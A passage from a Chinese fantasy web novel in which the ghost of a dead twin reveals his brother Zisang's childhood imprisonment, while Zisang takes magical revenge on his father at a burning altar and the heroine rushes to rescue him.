里面空无一物。
在他打开盒子的那一刻,狰狰风声入耳,像是咆哮的野兽颤心栗胆,伴随拐杖猛敲地面的声音,轰天动地的巨响从脚下传来,祭坛方基的四面轰然升起四面密集铁柱,将祭坛团团包围。
早已驻守在祭坛四周的壮汉从雪地里钻出,猛然抽起掩藏在雪地中的铁锁,齐声吆喝着向后拉去,一面沉重的铁栏从雪地中飞出,在铁锁的拉扯下落在祭坛上方牢牢嵌入四面铁柱,形成一个巨大的牢笼,将子桑囚禁其中。
子桑不见丝毫惊慌,眉梢一挑悠悠转过身,漫不经心地望向祭坛下林立的众人,轻笑一声语气嘲弄:“多年不见,你们还是这么龌龊。”
子桑琽一改之前的敬重,目光阴冷,手中拐杖猛顿地面嘶哑的声音高呵道:“子桑鸓,你可知罪?!”
子桑望向他,略微歪头,似乎在疑惑他的话:“罪?”
他喉咙中发出一声轻蔑至极的薄笑,恍若听到了什么天大的笑话:“我的罪,你能定?”
“你这个孽种!早就该死的畜生,你杀害神子,假扮神子出逃,诓骗世人妄图谋篡天命!每一条罪名都够你千刀万剐,死不足惜!”
他的一字一句像是锋利的刀子,刀刀飞射而出想要将子桑钉在耻辱柱上。
然而子桑漠然的听着他的字字罪状,旋即在子桑琽等人怨毒的目光中缓缓走到祭坛的边缘,隔着冰冷的铁栏望向子桑琽,语气含着古怪的讥笑:“是我杀的吗?”
他轻飘飘的质问却让子桑琽目光一怔,望着牢笼中神色睥睨,如同盯着猎物玩弄戏谑的子桑,没由来的慌乱心虚。
子桑对他躲闪又厌恶的目光感到愉悦,轻笑出声。风雪中,他的笑声逐渐放大,肆无忌惮得像是一把点燃的枯草,随风肆虐。
旋即,他目光猝然阴沉,眼中恨意如淬毒尖刀:“那把火,是你亲手放的吧,父亲。”
*
雪似乎小了点。
赵玉屿打开窗栓朝外探去,透过窗户也能隐隐看到雪山之巅的祭坛,不过距离太远,只能模糊看到几面祭坛崖边的彩旗,这抹天地间唯一的色彩,本该绚烂明艳,可风雪飘摇中总有种说不清的哀戚。
一阵风呼啸而过,有点冷,赵玉屿搓了搓胳膊关上窗户,隔绝了隐隐雪雾中的那座祭坛。
子桑还没有回来,赵玉屿想着,既然是传承长生不老药,虽然不知道那药是真是假,但总应当要像模像样搞些仪式啊祭祀啊什么的,许是时间要长些。
她在房间里百无聊赖,晃悠了两圈,打开衣柜梳妆台四下瞧了瞧。
倒没什么稀罕的,只是发现柜子里的衣服似乎都比寻常尺码小了些,而且发旧得厉害,应当是有些年头了。
梳妆台上只是些简单的发簪编绳,不过抽屉里有几个木刻的狐狸和小狗,发旧得有些年头,看来主人也很喜欢小动物。
毕竟是驭兽之族,常年和动物为伴,也是理所当然。
另一面的墙边靠着一张书桌,桌子不算大,上面放了几本书。赵玉屿打开瞧了瞧,并非大雍的文字,她看不太懂,却觉得有些熟悉。
仔细辨了辨,发现竟同子桑在她脑海中灌输内功心法时,所出现的画面中巨大冰柱上雕刻的文字一模一样。
她又细细从头到尾翻了一遍,才意识到这本书上所记载的便是那冰柱上的内容,一模一样。
赵玉屿咋了咋舌,这瑶山族人真是心大,就这么明晃晃的讲心法摆在桌面上。
不过又想了想,她便了然。瑶山族人个个都会驭兽术,这外面人痴迷艳羡的心法对他们来说就是必修课,心法书籍在族内自然管控得没那么严谨。加之瑶山一族的文字乃是上古秘文,寻常人根本不可能看懂,这是欺负她文盲呢。
赵玉屿将书放回桌上,她早已知晓上面的心法,也就没多大兴趣。
她抬眼环绕四周,倒是这个房间,看起来像是个孩子的屋子。
她正四下张望,忽而猴大叽叽哇哇,不知从哪里抽出来一副画卷坐在地上歪头看得入神。
赵玉屿好奇,凑过去瞧了眼,画面里是个孩童,看上去七八岁的年纪,穿着同外面瑶山族人一样的服饰,似乎有些拘束又腼腆,软糯糯的包子脸甚是可爱。
“咦?”
她也歪了歪头,越看越觉得这孩子眼熟:“这画卷里的人怎么这么像子桑大人。”
猴大也连连点头,没错,没错,它也觉得像主人,而且画卷上还有一股陈旧却熟悉的味道,同主人身上的一模一样。
赵玉屿望向四周,这是子桑大人的房间吗?可是他之前看起来好像对这间屋子并不熟悉。
赵玉屿正奇怪,猴大似乎嗅到了什么,忽然像是一只猫一样弹跳而起,望向赵玉屿身后。
赵玉屿转过身望去,就见房门外站着一个孩子。
那孩子,正是画像中的人。
这是子桑的亲戚后辈吗?
居然如此相像,简直就是等比例缩小版的子桑。
赵玉屿心中惊骇,不会是子桑大人的孩子吧?!
可子桑也才十八岁,这孩子瞧着也得有七八岁了。
十岁生子
呵呵,子桑的身体挺好啊。
赵玉屿正懵头懵脑胡思乱想,那孩子似乎注视她许久,朝她点了点头,转身朝屋外走去,偏头示意她跟上。
赵玉屿对这个突然出现的同子桑外貌几近相同的孩子有些好奇,可子桑吩咐过她要在这里等小白,不让她离开。
见她并未跟来,那孩子立在原地回眸望向她,似乎笑了笑,忽而吹了一声口哨。
猴大听到口哨声霎时双眼猛睁,兴奋不已,从赵玉屿怀中蹿出就跳到门口,狂摆着尾巴屁颠屁颠跟着那孩子便走。
见猴大跑了,赵玉屿犹豫片刻,还是跟上。
两人离开房间后朝雪原内走了一路,却未见来时守卫的士兵,见赵玉屿疑惑的神色,孩子缓缓道:“他们都去祭坛了。”
“去祭坛?这么多人都去吗?”
孩子点了点头:“因为是极其重要的日子。”
赵玉屿听到这话恍然,应当是因为子桑的回族吧。
“那你怎么不去?”
那孩子一笑,倒也如实回答:“我去不了祭坛,我只能生活在冰原里,出去就会死。”
突然有些恐怖故事的氛围
赵玉屿一时间浑身发麻,两人明显越走越偏僻,原本他们身处山体表层的冰层里,有阳光透入,火把照道,很是明亮。可现如今却走到了岩体中,道路两旁连方才沿途的火把都未曾瞧见。
越往深处走越冷,她搓了搓胳膊问道:“小兄弟,你要带我去哪啊?”
小孩望向她,微微笑道:“你不想知道子桑鸓以前生活的地方是什么样子的吗?”
子桑鸓?
是神使大人的本名吗?
他不是住在方才亮敞的屋子里吗?
赵玉屿尚有诸多疑惑,孩子又拐过一个弯,伸手指了指前面:“到了。”
赵玉屿顺着他的指尖望去,入眼,没有富丽堂皇的宫殿,没有金碧辉煌的华屋,甚至不是一间寻常的简单的木屋。
而是一个破败不堪的、黑洞洞的狭窄的铁门。
似乎被火烧过,门上熏得漆黑斑驳,在这冰原深处本就昏暗的岩体里显得更是黯淡残破。门上开了一个扁扁的小方口,方口里一片漆黑,像是吸食光线的黑洞,吞灭了一切光源,透着丝诡谲。
赵玉屿在孩子的示意中缓缓推开门,门没
有锁,里面漆黑一片,因为本就在偏僻的山体深处,铁门又小,分毫阳光也落不进屋里,所以一进屋她便被一股腐朽潮湿的味道环绕,像是死尸的巢穴,难闻之际。
赵玉屿捂住鼻子,刚想出去缓口气,猴大已经抱着从沿途路旁拔出的火把跳进屋中。
光亮照满屋中的那刻,赵玉屿忍不住惊呼一声。
这间屋子不大,十几步的宽度,成年人站在里面需得弯腰低头,狭窄到像是一间坍塌后空出的空洞,却满是被大火烧焦的痕迹。
整面岩体都被熏黑犹如铁矿,便是如今看着也觉得窒息。
屋子里面没有床,也没有桌椅板凳,空荡荡的只有一只摔碎的破碗,堆积在角落里,碎片的棱角都被磨平。
一面墙上,道道划痕是这间屋子有人住过的唯一痕迹,一道一道,凌乱又迷茫,像是在记录着时间,又像是昏昏黑暗中唯一令人清醒的慰藉。
赵玉屿愕然:“这这是子桑大人的房间?”
她根本难以将眼前破败不堪的屋子同耀眼夺目的子桑联系在一处。
他可神使,天之骄子,万人之上,怎么会像老鼠一样住在这种阴冷黑暗的地方。
孩子淡淡道:“你之前看到的是他,却不是全部的他。外面的他是一个光鲜亮丽的空壳,而这间屋子里的他,才是真正的子桑鸓。”
第49章
赵玉屿怔住:“这,这是什么意思?”
那孩子望着满屋的漆黑:“瑶山一族自古便有道圣仙君降世一说,瑶山先祖曾留预言,道圣仙君降生之日,雪域逢春,百鸟齐鸣。十九年前,瑶山族长的妻子怀有身孕,常年冰雪覆盖的雪域积雪尽退,在孩子出生那天,枯树逢春,群鹤环鸣,原本众人皆惊喜。”
他苦笑一声,“然而谁都没想到,出生的却是双生子。”
双生子,乃是大正大邪之兆,二子只可留一,否则必招邪祸。
古人对双生子一向忌讳,而道圣仙君降临乃是瑶山预言之事,不得有丝毫偏差。
赵玉屿不解:“可是如果是双生子,他们也分不清哪个是真正的仙君转世啊。”
孩子缓缓道:“是啊,所以瑶山长老祈求神明给予提示,闭关三日占卦推算,却算出二子皆是道圣仙君转世。”
赵玉屿听到这话迷惑不解,那孩子望向她,一字一顿道:“一正,一邪。”
“道圣仙君投成双生子,将魂魄一分为二,天、地、人三魂入一子,而喜、怒、哀、惧、爱、恶、欲七魄则入另一子。那两个婴孩不到百日便显露出不同性格。哥哥多慈悲,弟弟善嫉妒。瑶山族人对弟弟多有畏惧,两岁那年,弟弟在喂奶时咬断了乳母的□□,族人惶恐,避犹不及,瑶山族长也惊骇不已,迫于无奈将弟弟送入这里,从此不见天日。”
赵玉屿只觉得荒谬:“就因为如此,便将一个刚出生的婴儿关入这不见天日的地方?”
她望向这间狭小阴暗的屋子,气道:“这是人住的地方吗!真是好狠的心,稚子无辜,孩子是要教的,两岁的孩子本来就在磨牙期,喂奶时咬伤人很常见,而且既然两岁之前都没有出过事,为什么突然就会咬断□□,其中有没有其他隐情?查都不查就将人关在牢房里,这是正常人干得出的事情吗?!”
那孩子听着她的句句质问,叹了口气:“或许你是对的,只是那时候的事情,谁也不知晓真相。之后,子桑鸓在这里度过了六年。”
*
“六年,你们将我整整关在黑牢中六年。”
子桑鸓站在牢笼之中,抬头透过铁栏的缝隙望向昏白阴翳的天空缓缓道。
“那里没有人,没有阳光,没有声音。直到八岁那年,我连一句完整的话都说不出。”
“那是你咎由自取!”
子桑琽眼中没有丝毫怜悯和愧疚,冷声道,“你自出生就心思歹毒,邪狞污秽之身,早就该死!可我当初依旧力排众议饶了你,只将你关起,给了你一条生路,原本你若好好待在黑牢中,尚且能饶你一条性命,可你偏偏不知足!”
“不知足?”
子桑鸓轻笑一声,似是听到了什么荒谬的笑话,渐渐的,他笑得愈加张狂,笑得前俯后仰,笑得眼泪从眼眶滑落:“不知足?”
他笑够了,直起身子,伸手抹去眼角的泪痕踱步走到牢笼前,修长的双手抓住栏杆,双眼微弯,眼中尽是戏谑,然而手背暴起的青筋却彰显着他此时的怒意:“将我关在暗无天日的地方,整日吃着剩菜剩饭,受尽鄙夷唾弃,像老鼠一样生活,我还要对你感恩戴德吗?我想要出去,我想在阳光底下生活,这是不知足吗?”
他恨恨盯着牢笼外的子桑琽一字一顿,咬牙切齿:“子桑琽,是你给我起了鸓鸟之名,到头来却想要将我活活烧死,这是我的错吗?”
*
寂静无人的牢房中,似乎还残留着那日大火中难以言喻的焦炭味,让人心惊胆寒。
赵玉屿问道:“那他之后是怎么逃出来的呢?”
那孩子娓娓道来:“六岁那年,有一天子桑鸓的同胞哥哥,当时的神子子桑岐无意中发现了这处偏僻之地,他因一时好奇,用驭兽术召唤灵猴偷来钥匙,进入房间后发现了一个同他一模一样的孩子,惊愕之余便将他带了出去。当时的子桑鸓不会说话,不懂人言,甚至走路都跌跌撞撞。”
他就这样懵懵懂懂的,在被世界抛弃的第八年,毫无预兆地走出了黑洞洞的牢房,茫然无措地看到了外面的世界。
赵玉屿沉默着走到低矮的墙壁前,熏黑的墙上用碎碗片划刻的痕迹。她伸手轻抚,指腹滑过墙壁,凹凸不平的纹路起伏摩擦着指腹,冰凉又粗糙,带着年代久远的阴湿,像是这间暗无天日的黑牢一样,令人心寒。
一道又一道,白色的划痕密密麻麻刻满了整个房间。
那时的子桑鸓只能凭借着每日从牢门缝隙中送来的饭菜记刻时间。
日复一日年复一年,没有玩伴,没有书本,没有阳光和自由,这满墙的划痕就是他生命的一切。
平静的声音在背后徐徐响起。
“然而子桑鸓他们刚出去没多久就被守卫发现,族长等人将子桑鸓重新关入黑牢。当天晚上,子桑岐便生了一场大病,族人惶恐,认为是子桑鸓的存在冲撞了神明,族中元老请示神明,得到天谕,二子相生相克,需献祭一人,方能将道圣天君的灵魂合二为一。族长因此下决心要破局,在瑶山族人眼中,火为神明之尊,可除世间污秽邪祟,荡尽魑魅魍魉,迎祥瑞吉贵,所以”
他顿了顿,“所以他们谋划将子桑鸓烧死在黑牢之中。”
赵玉屿默然不语,良久,所有的愤怒和哀婉化为一声嘲弄的轻笑:“一群疯子。”
烧死八岁的子桑鸓,再静静等待着子桑岐二十岁时的死亡。
这两个孩子在他们的眼中,从来都只是一件被献祭的物件,而不是活生生的人。
“有时候信仰会让人变疯狂,一旦有任何事情威胁到他们的信仰时,即便是至亲之人也会被毫不留情的铲除。瑶山族人一向以仙人后裔自诩,等待道圣仙君重归天位便是他们千百年来的信仰,所以他们不会容忍一丝一毫的差错。”
赵玉屿冷声道:“那后来呢?”
孩子望了眼牢房中一个熏黑的角落:“子桑岐无意中得知了弟弟要被烧死的消息,瞒过所有人偷偷潜入黑牢,骗子桑鸓换了衣服让他离开。”
赵玉屿一愣,转身望向他:“你说什么?”
孩子看向她,眼中波澜不惊:“当年被烧死的,是子桑岐。”
一瞬间,似乎剥开层层迷云惨雾窥探到了一切的真相,一直以来的困惑、不解、违和、异样,都在这一刹那有了契合的解释。
为什么她所遇到的子桑同原著中的子桑性格迥异。
为什么子桑的眼中总是阴翳森冷。
为什么子桑会说,他本应该死在火海之中。
那个温润、淡然、宽厚纯良,总是以笑待人的神使子桑,原来早就死在了八岁那年。
“可是为什么”
赵玉屿还是无
法理解,艰难问道,“为什么要替换,为什么不一起离开?”
“因为天命不可违。”
孩子淡淡道,“两个孩子的生命此消彼长,八岁的火灾是天命所定,既是没有瑶山的火,也会有其他的意外,逃不掉的。与其两个人魂归天位,不如按照天命留下一人。原本死去的那个人应当是身为七魄的子桑鸓,但子桑岐用自己的性命代替了子桑鸓,骗过了天道,所以子桑鸓才能多拥有十二年的寿命。”
赵玉屿怔怔道,半晌才消化他的话:“你是说当年的子桑岐知道这些,所以才会用用自己的性命换取子桑的生路?可他不也才八岁吗?”
那孩子摇了摇头,似笑非笑的望向她:“你的魂魄和你的身体相契合吗?”
犹如惊雷乍响,赵玉屿双眼圆睁,不可置信道:“你是说,子桑岐的身体里不是八岁的他,而是,而是未来的他?”
“那一场大病让子桑岐回到了十一年前。”那孩子笑了笑,“或许都是天命。”
赵玉屿紧紧盯着他,忍不住上前一步靠近他,想要抓住他的手,却发现手掌穿透了他的身体,如遇虚物:“所以你是”
那孩子望向她,温润一笑:“我是他的哥哥。”
*
雪域之巅,祭坛牢笼外子桑琽满是褶皱的苍老面容露出极度痛苦,耷拉的眼皮下目光怨毒如幽幽鬼火:“是你!是你害死我儿,是你害死了真正的神子!你妄想鸠占鹊巢,顶替岐儿的位置!你这个孽障!”
子桑鸓瞧着他癫狂的模样,目露戏谑,像是逗狗一样啧舌道:“错了,你们的神子是你们亲手杀的,你们放了火,杀错了人却不想承担痛苦,便将一切都怪罪到我身上。可惜了,子桑岐已经死了。至于鸠占鹊巢,哈,谁稀罕受你们的摆布当你们的狗吗?”
他嗤笑一声,“你们算是什么东西,一群练了几十年连驭兽术都掌握不了的废物,还妄想操控我的人生,简直痴人说梦。”
子桑琽冷笑一声,手中权杖砸地,身后的族人将掩藏的草垛推上前堆在祭坛周围,抱出酒水倒在草垛上。
子桑琽亲自点起火把,拄着拐杖艰难走上前,与子桑鸓一笼之隔:“孽障,今日便是你的死期。”
火光倒映在子桑鸓的双眸中,他却没有丝毫的恐慌和绝望,而是不紧不慢的从腰间抽出一只小巧精致的玉笛,修长的手指爱抚着玉笛,似乎有些无奈又嘲弄:“看来你还是没有明白。”
他将玉笛缓缓放在唇边,眼中戏笑:“能杀我的从来都不是你,也不是所谓天道。能杀我的,唯有我自己。”
第50章
狭小的黑牢里,子桑岐望着熏黑的房间回忆着过往,徐徐而言。
“当年当我醒来时,我以为上苍怜悯,重新给了我一次机会,遂占卜一卦。但卦象却依旧是一子丧,一子生,我便知一切依旧无法改变。我既已活了二十年,也按照自己的心意而死,便也了却了心愿。唯独一件放不下的事便是八岁那年因为无心之举害得子桑鸓葬身火海,这或许就是老天让我回到八岁那年的原因吧。”
他淡淡道,“既然只有一人能活,那就不该是我。我的人生并不快乐,十九年里我一直活在旁人的敬仰和爱戴之中,成为世人眼中高高在上的神子,循规蹈矩的过着每一天,等待着死亡的降临。原本我以为这是天命,可子桑鸓的出现让我发现自己其实一直身处牢笼之中。没有人真的关心我,即便是我的父母,他们热烈的爱着我,却只是因为我的身份而不是我这个人。我一直在想,如果当年长老卦卜出七魄之婴的人是我,那子桑鸓的结局应当就是我的结局。”
他苦涩笑道:“所以上辈子在子桑鸓死后,我逃出了瑶山,去了很远的国度,仿佛在那里就可以逃避一切,忘记一切。可那些不过是自欺欺人而已,命运不会改变,我便选择了断此生,逃脱天道的束缚,却没想到,这个世界轮回不止,我又回到了八岁那年。”
子桑岐望向她,目光温润而欣慰,明明是八岁孩子的外貌,却像是邻家的哥哥一般温柔而语:“我很庆幸,这一世他有你陪在身边。”
他笑了笑,“至少没有那么孤单。”
赵玉屿张开口,望着他神色复杂却一时不知道该说些什么。
原来,这才是她喜欢的子桑,是她拼了命想要拯救的人。
果然很温柔,温柔得让人不知所措。
因为无心之举酿成的悲剧是他日日夜夜无法忘却的痛,所以当有重来一次的机会时,他毫不犹豫的选择了牺牲自己换取弟弟的性命。
哪怕葬身火海,哪怕不得往生,他也义无反顾的选择自己认为对的路。
他的皮囊看似柔软,但他的骨血却比任何人都要倔强执拗。
可是现在,在这个世界的时间线上,八岁那年的火灾已成过去,如今的子桑岐只是一缕见不得天光的残魂。
赵玉屿深吸一口气,心中唤出系统:“系统,不是要救子桑吗,还魂丹可以给子桑岐使用吗?”
【对不起宿主,子桑岐的身体已经被摧毁,还魂丹于他无用。而且正如子桑岐所言,在这个世界的时间线里,子桑鸓已经代替了他的存在,所以现在的子桑鸓才是真正会影响到结局的神使,也是你需要攻略的对象。】
果然如此。
在八岁那年两个孩子互换衣服的那刻,命运已经改变。
赵玉屿垂下眼眸,虽然猜到了结果却依旧难掩心中的遗憾和沮丧,望着那双温柔如春水的眼眸,珍重问道:“我还有什么可以帮你的吗?”
只要我能做到的,我都会去做。
子桑岐摇了摇头:“不,我很好,我的心愿都已完成,之所以带你来到这里,只是想让你了解真正的子桑鸓,他虽然性格顽劣,却并非是他一个人的错。若父亲能视他为子,若族人能以寻常目光待他,若这世上有人教会他如何去爱人,如何去爱己,如果有人能在他绝望之时拼劲全力去为他一搏,或许一切都会不一样。”
他有些歉意的笑了笑,“我知道自己这个想法很自私,但作为哥哥,还是希望弟弟能够活下去。当我发现你的灵魂同这个世界的人并不相同时,我就觉得或许一切都会有转机,所以带你来到这里。”
他弯起嘴角,“希望你在知道一切之后,凭着自己的心意去做你想做的事情。不论结局如何,我都感谢你。”
她想做的事情?
赵玉屿一愣。她来到这个世界最初的目的就是为了拯救何附子和子桑,即便没有系统,她也依旧为此而努力。
原著中的子桑岐选择了在宫变中替怀有身孕的何附子挡了致命一箭。
因为他一直活在害死弟弟的痛苦中,活在父母虚假的爱和世人狂热崇拜的恐慌里,在内心不断的挣扎和拉扯中苦苦折磨了自己十九年后,最终选择解脱。
那子桑鸓呢?
赵玉屿忆起船窗边,子桑鸓绝望而平静的说出幼鸟的死讯,他哀哀地看着那只鸟,像是透过它看到了浩浩未来中的自己,那是对他自己命定结局的哀悼。
所以那时在小木屋中子桑才会说,有的人注定葬身在火海中,但却不是现在。
那……那是什么时候。
赵玉屿双眼迷茫,忽而,她望着屋中熏黑烟绕的狰狞痕迹,犹如惊雷炸地,震撼而不可置信的艰难道:“子桑他难道,他想要……”
子桑岐眼中
怜惜和无奈,声音轻柔却饱含着鼓励和希冀:“去找他吧,至少他的结局不应当是被愧疚和恨意困在这里,让他去过自己想要的生活,至少这一世不要留下遗憾。”
“谢谢。”
听到这话赵玉屿鼻子微酸,走上前虚抱了抱他的身体,子桑岐身子微微一顿,有些不适应的腼腆。
他从未被人如此拥抱过,即便自己的母亲从小到大也未曾这般对他,唯有上辈子去世之前,他身中流箭靠在那怀有身孕的女子怀中,才感受过一丝温暖。
子桑岐转身望向仓促留下一句感谢后便匆匆跑出黑牢的少女,扬起嘴角温润一笑。
希望你能同子桑鸓一起,真正摆脱命运的纠葛,凭着自己的心意自由自在的活下去。
快一点,再快一点……
赵玉屿穿过昏暗的山洞,穿过冰晶的雪洞,拼了命地向外跑。
脑海中闪现着这些日子以来子桑的怪异之处。
难怪,难怪当初子桑选择独自离开,难怪他在听到瑶山来信时笑得绝望而空洞;难怪来到瑶山之后,他每次望向自己的目光都含着说难以言喻的复杂情绪。
他从一开始就抱了必死的决心,要回到这始作俑者的残酷牢笼中,亲手结束一切。
雪洞的光亮就在眼前,晕眩的洞口处似有隐隐鹤鸣,赵玉屿一刻不停喘着气拼命奔向出口,在拥抱阳光的那一刻向着自由和呼啸的风雪一跃而下,大声呼唤。
“小白!”
*
彩旗猎猎飒动,宛若把把锋刀悬于头顶。
祭坛四周一片鲜红,滚热的鲜血如溪水汩汩融化了皑皑白雪,像是溶进洁白衣袍中的大片污渍。
子桑琽瞪大苍老而枯黄的浑浊眼眸,难以置信地望着遍地的族人尸体,一遍遍摇头,一遍遍地说服自己:“不,这不可能,你竟然能操控人,你竟然能操控人身!”
方才发生的一切像是一场噩梦,他亲眼看着身旁原本想要烧死子桑的族人们忽然目眦欲裂,双眼猩红如牛,如饿狼抢食般猛然将旁边的人扑倒在地,殴打不止,直至死亡。
而后,活下来的那方再继续寻找着剩下的族人,撕咬、滚打、怒骂,仇恨懵逼了他们的双眼,不论他如何斥责阻止也无法停止,他们像是失控的野兽一般将对手活活咬死,直至最后一个人倒下。
操控野兽的人成为了厮杀的野兽,不出片刻,血流成河,满地残肢断耳,每具尸体都双眼突起,口含鲜血,染红了瑶山之巅终年皑皑白雪。
子桑把玩着手中的玉笛,瞥着满地尸体轻飘飘道:“只是一个小游戏而已,我十岁那年便会了。”
他略带嘲弄,衣袖掩住嘴角状若惊讶戏谑:“呀,怎么这么震惊,难不成身为瑶山族长的你,都快入土的人了居然还未曾悟出这么简单的心法吗?”
子桑双手环胸,将玉笛靠在胳膊上漫不经心地敲了敲,叹了口气道:“你这废物今日临死前也算是能饱饱眼福,能看到渴求已久的瑶山秘术,还不该对我感恩戴德。”
“孽畜,孽畜!”
子桑琽浑身发抖,却不知是因为愤怒还是恐惧,他像是濒死的老狼,挣扎着拾起地上的火把,拄着拐杖朝祭坛颤颤巍巍地走去,抖着手想要用火把点燃草垛。
子桑指间灵活的转动着玉笛,摇了摇头悠然道:“我说过,能杀死我的只有我自己。不过既然你这么想我死,我便给你一个机会,也算是了却了你的心愿。”
他眼中闪过一丝诡谲,再次抬起玉笛置于唇边,阴森诡异的曲调从笛孔中毒蛇般缓缓扭出,缠绕住子桑琽的四肢,引诱着他前行。
子桑琽双目瞪如铜铃,眼睁睁望着自己的手举起火把,却并非掷向草垛,而是点燃了自己身上的衣服。
停下来,停下来!
他心中疯狂的呐喊,可却无济于事,只能眼睁睁看着火舌舔舐着衣角,顺着狐裘一点一点攀爬到他的胸膛,衣袖和发梢。
他想要扑灭身上的火,却只能僵硬着四肢立于原地一动不动,他张开口想要呼救,却只能发出老鸦般嘶哑的惨叫。
烈火焚身的疼痛将他裹挟在绝望和无助中,如同当年黑暗中生活了八年的子桑鸓,和火海中蜷缩在角落里对天道无望的子桑岐。
“啊——啊——!!!”
猩红的火焰吞噬了他的肌肤,子桑琽发出一声声惨烈的哀嚎,透过扭曲而模糊的火焰,他惊恐地看到了子桑鸓肆意而顽劣的笑容,还有笑容中滑落的泪水。
他笑得张狂快意,大仇得报的快意,可眼底却溢出绝望和哀戚。
子桑琽动了动口,但火焰烧毁了他的喉咙,让他再也发不出任何声音。
他瞪大眼睛,眼球凸起,血丝狰狞,死死盯着一步之遥的子桑,最终,犹如死鱼直挺挺地倒在草垛之中。
没人知道他最终那一刻想说的是什么,也无人在意。
他身上的火很快便顺着草垛和烈酒蔓延了整个牢笼的四周,用焦灼的尸臭味形成一道浓烟烈火的火墙,与世界隔绝。
子桑深吸一口气,像是一瞬间卸去了这十年的重担和日日夜夜无休无尽的噩梦,也抽干了他所有的力气。
他身子后仰,双手撑着地面伸长了腿随意坐在地上,滚滚浓烟让喉咙有些干疼,忍不住低咳几声,口中溢出几丝血腥味,转瞬便被咽下。
子桑望着四周窒息的烈烈火海,忽然想知道,当年八岁的子桑岐在黑牢之中被火海包围时是何种感受。
他会不会后悔和自己换了衣服,会不会后悔一时好奇发现了那座黑牢,会不会后悔打开了那扇破败的铁门。
子桑岐,我欠了你一条命,现在还给你。
灼热的火浪滚滚涌来,像是要将天地烧熔殆尽,常年噩梦中的火焰将周遭裹挟,子桑却是前所未有的轻快。
至少在迎接终点的那刻,是他自己做出的决定而不是什么狗屁天道。
可是为什么……
子桑抬眸望向黑漆牢笼外的条条天空。
今日风雪,未见日光。
他心中忽然有些遗憾,似乎透过火光映天的牢笼深深望去,望到了那些在小木屋前的空地上同赵玉屿并肩而坐的日子。
那时他只要一抬头,就能看到穿透层层树荫落下的细碎阳光。
阳光下,赵玉屿一边烤着他们刚抓上来的鱼,一边轻哼着他至今不知名的歌谣。
回忆着那首歌的曲调,子桑闭上眼学着赵玉屿的模样轻轻哼唱,仿佛依旧身处在奉仙宫濛濛的清晨,身后有个姑娘在笑着帮他梳头发。
50-60
第51章
焚空热浪烧灼的牢笼中,天地被一潮又一潮的热气扭曲,世界变得一片模糊,只余下血红暮色般的狰狞火焰。
浓烟滚滚烧灼着喉咙,吞噬掉干涩灼烫的音调。子桑咳了几声,扫了眼牢笼外已成焦尸的子桑琽,眼底厌恶尽显。
焦臭又熏黑,像是一只干瘪瘪的死老鼠难看得要死,他就算是变成一具焦尸,也肯定比子桑琽这个老东西好看得多。
不过死了之后魂归天地,也无所谓好看不好看了。
不一会儿,他又有些无奈地想着,被烧死的确还是有些狼狈,好在赵玉屿瞧不见他死时的模样,不然日后自己在她梦里都是这种难看焦黑的模样出现,他便是死了也得被呕心得活过来。
许是浓烟侵蚀着神经,子桑一时间思绪紊乱,没头没尾漫无天际的胡思乱想,感受着生命一点一滴被灼干。
伴随着草垛干柴的噼啪的乍响,耳边热风
夹杂着融化的雪花肆意咆哮,在这一片剧烈的风声中,他影影绰绰似乎听到了自己的名字。
“子桑”
“子桑大人”
一声又一声,夹杂着风雪逼人的喘息。
子桑微怔,以为自己临死前出现了幻听。
他睁开濛濛的双眼抬眸望去,就见扭曲模糊的火浪之外,灰白色的天空中隐隐一道黑点由远及近起伏而来。
黑白相间的鹤羽背上,露出一颗被寒风吹得瑟瑟发抖的脑袋。
她顶着风雪,还不算熟练的独自趴在鹤背上,额前的刘海被吹掀在风中肆意飞舞,露出光洁的额头。飞灰似的雪砸在她的头上、脸上、狐裘围脖上,将她的头发和眉毛凝成霜白,小巧的鹅蛋脸冻得生红,像是涂了层上好的浓胭脂。
风雪吹得她平日里圆杏般的双眼艰难眯起,却在对上他视线的那刻猛然睁大,迸发出动人心魄的欣喜。
小白落了地,赵玉屿挪动着被冻得僵硬的四肢从它背上滑下来,看着满地血红的尸体惊愕不已,却来不及恐惧细想,踩着尸体血泊间的空隙跑到祭坛前,褪下狐裘想要扑灭大火。
然而火势已起,她的努力不过杯水车薪。
子桑站起身,怔怔地望向祭坛外的少女:“你怎么来了?”
赵玉屿被烟呛得猛咳,边扑火边道:“我来接你啊!这群王八羔子没安好心,趁其他人还没发现,咱们得赶快离开这里!”
然而火势太大,一人之力根本扑不灭火,她便索性丢了衣服去用力拉扯铁锁,想要将牢笼顶端的铁栏拉扯下救他出去。
猴大本也尖叫着想要扑火,却害怕得在一边抖着身子急跳脚,如今见赵玉屿去拉铁链,也抱着铁锁牙龇嘴裂铆足了劲拼命向外拉扯。
子桑看着她们挣扎的身影淡淡道:“别白费力气了,这是纯铁所制的牢笼,你拉不动的。”
“能拉动!”赵玉屿脸憋得通红,双脚绷直踏雪,一边将铁链抗在肩上使劲朝前拉,一边费力道,“杠杆原理!支点、滑轮,阿基米德能翘起地球!”
她拼死拼活挣扎了半天,铁栏却没有丝毫被撼动的痕迹,赵玉屿突然皱眉低骂一声,“妈的!我一个人拉距离不够长啊!”
子桑望向她泄气的模样,忽然笑了一声,与平日的尖酸刻薄不同,他异常平静柔和,目光像是看着此生难见的风景一般缱绻又温柔:“玉儿,这里就是我的终点,你已经陪我到了最后,足够了。”
“够什么够!”
一直拉扯不动铁链本就急得像热锅淋油,又听到子桑这种丧气话,赵玉屿此时五味杂陈,猛地将铁链甩到地上,瞪向他怒道:“你说够就够了吗!你以为你是在对抗命运吗!你以为你这样很无畏很桀骜吗?不是的,你只是在逃避而已!”
雪域高原上的剧烈喘息让赵玉屿胸口有些窒息的疼,她的唇色有些苍白,捂着胸口喘息接着道。
“我一直不明白当初在海上你明明可以轻而易举解决刺客,为什么却要借机脱身独自离开,间接害死了一船的人!可是现在我明白了,什么刺客,什么孤傲都是借口!你就是懦弱自卑而已,你不敢面对过往,不敢将童年撕扯开赤裸裸展露在众人面前,不敢让旁人知道万人之上的所谓神使原来只是一个被囚禁在不见天日的牢笼中八年的弃婴!所以你选择独自面对,你想要用自戕来结束一切,对抗天道,去还清对子桑岐的愧疚和歉意!”
赵玉屿哽咽道,“可是子桑大人,死亡从来都不能解决一切。被遗弃不是你的错,该对那段过往感到羞愧的也不该是你,而是那些始作俑者。”
赵玉屿看着子桑鸓愕然的神色问道,“你是不是在想为什么我会知道这一切?”
她悲凉地笑了笑:“因为有个人从来都没有怪过你。”
